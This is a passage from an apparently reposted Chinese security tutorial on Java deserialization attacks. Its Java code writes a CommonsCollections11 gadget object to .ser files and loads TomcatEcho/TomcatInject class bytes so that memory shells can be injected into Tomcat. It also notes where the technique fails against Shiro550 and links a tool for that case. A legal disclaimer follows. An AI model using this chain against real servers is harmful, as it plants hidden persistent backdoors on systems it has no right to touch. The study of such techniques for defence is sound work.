&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try{ &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;//ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc11Step1.ser")); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ObjectOutputStream&nbsp;outputStream&nbsp;=&nbsp;new&nbsp;ObjectOutputStream(new&nbsp;FileOutputStream("./cc11Step2.ser")); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; outputStream.writeObject(hashset); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; outputStream.close();
&nbsp; &nbsp; &nbsp; &nbsp; }catch(Exception e){ &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; e.printStackTrace(); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; } &nbsp;&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;public&nbsp;static&nbsp;byte[] getBytes()&nbsp;throws&nbsp;IOException { &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// &nbsp; &nbsp;第一次 &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// &nbsp; &nbsp; &nbsp; &nbsp;InputStream inputStream = new FileInputStream(new File("E://TomcatEcho.class")); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// &nbsp;第二次 &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;InputStream&nbsp;inputStream&nbsp;=&nbsp;new&nbsp;FileInputStream(new&nbsp;File("E://TomcatInject.class"));
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ByteArrayOutputStream&nbsp;byteArrayOutputStream&nbsp;=&nbsp;new&nbsp;ByteArrayOutputStream(); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;int&nbsp;n&nbsp;=&nbsp;0; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;while&nbsp;((n=inputStream.read())!=-1){ &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; byteArrayOutputStream.write(n); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; } &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;byte[] bytes = byteArrayOutputStream.toByteArray(); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;bytes; &nbsp;&nbsp; &nbsp; } &nbsp;}

接连注入即可,这里因为代码我们可以直接注入 .ser 序列化的文件,如果是要输入 string,简单把 .ser 文件 base64 一下即可。

  • 这一种反序列化打内存马的方式缺陷也很明显,就是像 shiro 这些自带 Filter 的无法打通,所以如果是 shiro550 打内存马,需要用 《Java 回显技术》的第三种方法,获取全局 response,并且根据 Tomcat 版本打。

内存马打 shiro550

通过全局存储 Response 回显来打

这里直接借用了木爷的工具 https://github.com/KpLi0rn/ShiroVulnEnv


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。

本文转载自:绿洲安全 lys lys《Java安全—反序列化打内存马》

评论:0   参与:  0